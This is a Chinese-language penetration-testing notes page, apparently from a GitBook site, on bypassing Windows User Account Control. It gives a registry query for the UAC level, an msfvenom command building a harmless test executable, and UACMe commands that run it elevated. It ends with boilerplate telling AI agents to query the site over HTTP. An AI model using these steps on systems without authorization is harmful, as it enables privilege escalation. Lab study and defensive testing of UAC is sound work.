> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# UAC 绕过

用户帐户控制会限制管理操作的自动提升。只有在当前用户已经具有经过筛选的管理员令牌，或者主机的提升配置较弱时，UAC 绕过才有用。

## 检查 UAC 级别

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

常见值：

| 值   | 含义        |
| --- | --------- |
| `0` | 无 UAC 提示  |
| `1` | 根据上下文静默提升 |
| `2` | 标准提示      |
| `5` | 更严格的提示行为  |

<figure><img src="/files/ebc7f93038508aa3d0c5337dba6ef8dd9f239512" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/667f84410122189b2cd90e363b40a3ddd2064d1f" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## 准备一个实验室验证二进制文件

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## 使用 UACMe 执行

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/cb1477204a1ad42e367c442a6f509bb1b62e7c1e" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## 关键要点

* UAC 绕过并不是真正从标准用户进行的提权。
* 在测试前确认 UAC 级别和令牌上下文。
* 先使用无害的验证操作，仅在获得授权后再切换到限定范围的评估操作。
* 通过严格的 UAC 设置以及避免暴露管理员会话来进行修复。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
